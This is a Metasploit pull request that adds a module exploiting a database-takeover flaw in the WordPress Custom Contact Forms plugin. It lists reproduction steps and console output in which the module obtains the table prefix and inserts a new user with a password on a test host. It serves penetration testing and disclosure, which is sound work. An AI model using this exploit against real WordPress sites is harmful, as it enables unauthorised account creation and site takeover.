rapid7/metasploit-framework — pull request #3899 by FireFart (2014-09-27 11:45:01+00:00)
Title: Added WordPress custom_contact_forms module

This module exploits a vulnerability in the custom contact forms plugin:
http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html

### to reproduce
- [ ] Install Wordpress https://www.firefart.at/how-to-install-wordpress/
- [ ] Install plugin version 5.1.0.3: https://downloads.wordpress.org/plugin/custom-contact-forms.5.1.0.3.zip
- [ ] Run the module

### output
```
msf auxiliary(wp_custom_contact_forms) > run

[*] 10.211.55.39:80 - Trying to get table_prefix
[*] 10.211.55.39:80 - got table_prefix 'wp_'
[*] 10.211.55.39:80 - Inserting user QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv
[*] 10.211.55.39:80 - User QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv successfully created
[*] Auxiliary module execution completed
```